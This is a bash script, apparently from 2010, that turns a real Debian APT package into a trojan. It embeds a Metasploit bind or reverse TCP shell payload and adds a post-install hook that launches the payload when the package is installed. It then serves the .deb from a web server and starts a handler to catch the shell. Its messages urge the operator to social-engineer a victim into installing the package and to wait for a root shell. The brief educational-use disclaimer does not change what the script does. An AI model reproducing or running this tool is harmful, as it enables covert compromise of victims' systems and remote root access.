OPEXXX

#!/bin/bash

# bash script to generate a Debian (.deb) package trojan using Metasploit payload
# Author:  Aaron Hine - @redmeat_uk
# Date: 31-01-2010

# Disclaimer: this script should be used for educational purposes.  You should obtain permission before running this against an indvidual or company.  
# The author is not liable for any illegal use of this script.

scriptname=`basename "$0"`

  if [[ $UID -ne 0 ]]; then
     echo "${scriptname} must be run as root"
     exit 1
  fi

# 
echo
echo "#####################################################################"
echo "Script to generate a Debian package trojan using a Metasploit payload"
echo "#####################################################################"
echo 

# change these vars to suit your needs
msfdir="/opt/metasploit3/msf3"
tmpdir="/tmp/evildeb"
workdir="$tmpdir/work"

# prompt for package name and setup dirs
echo "Please enter the name of the APT package you wish to trojan:"
echo "Use apt-cache search <package> for ideas :)"
echo
read package
apt-get --download-only install $package
echo
mkdir $tmpdir
mkdir $workdir
mv /var/cache/apt/archives/$package* $tmpdir
mkdir $workdir/DEBIAN
dpkg -x $tmpdir/$package* $workdir
apt-cache show $package > $workdir/DEBIAN/control
cat $workdir/DEBIAN/control | sed '/^Original-Maintainer/d' | sed '/^SHA/d' > $workdir/DEBIAN/control2
mv $workdir/DEBIAN/control2 $workdir/DEBIAN/control
echo
echo "Please choose your Metasploit payload"
echo "-------------------------------------"
echo 
echo "1. bind tcp"
echo "2. reverse tcp"
echo
echo "press number and hit return:"
read choice


if [ "$choice" -eq 1 ]; then
        payload="linux/x86/shell/bind_tcp"
                echo "Enter IP:"
                read rhostIP
                echo "Enter port:"
                read bindport
                options="RHOST=$rhostIP LPORT=$bindport"
else
        if [ "$choice" -eq 2 ]; then
                payload="linux/x86/shell/reverse_tcp"
                echo "Enter IP:"
                read lhostIP
                echo "Enter port:"
                read revport
                options="LHOST=$lhostIP LPORT=$revport" 
        fi
fi

echo
echo "Please enter the filename for the Metasploit payload:"
read filename
echo

cd $workdir
binary=`find . -executable -type f | grep $package | sed -e 's/^.//'`
trojan="$filename"

echo "Making post-install script..."
echo

echo "#!/bin/sh" > $workdir/DEBIAN/postinst
echo "" >> $workdir/DEBIAN/postinst
echo "" >> $workdir/DEBIAN/postinst
echo "sudo chmod 2755 $binary$trojan && $binary$trojan & $binary &" >> $workdir/DEBIAN/postinst

trojan2=`echo $binary$trojan | sed -e 's/^\///'`

echo "Thanks - generating your payload..."
$msfdir/msfpayload $payload $options X > $workdir/$trojan2
echo

cd $workdir/DEBIAN
chmod 755 postinst
dpkg-deb --build $workdir
cd $tmpdir

echo
echo "Please enter your webroot directory:"
read webroot
mv $tmpdir/work.deb $webroot/$package.deb
rm -rf $tmpdir

echo
echo "Trojan'd $package.deb created and placed in $webroot"
echo

webserver="python -m SimpleHTTPServer 80"

echo "Would you like a Python webserver ? (y/n) :"
read svr
echo

if [[ "$svr" == "y" || "$svr" == "Y" ]]; then
        cd $webroot
        $webserver & 
        echo
        else
           echo "Fair nuff, setup your own webserver :)"
           echo
fi

sleep 1

echo "Would you like me to setup a metasploit handler ? (y/n) :"
echo
read handler
echo
echo "In the meantime, social engineer your victim in to browsing to your package"
echo "and get them to install it and wait for your root shell >)"
echo

if [[ "$handler" == "y" || "$handler" == "Y" ]]; then
        echo
        $msfdir/msfcli exploit/multi/handler payload=$payload $options E
        else
                echo "Fair nuff, setup your own handler :)"
                echo
fi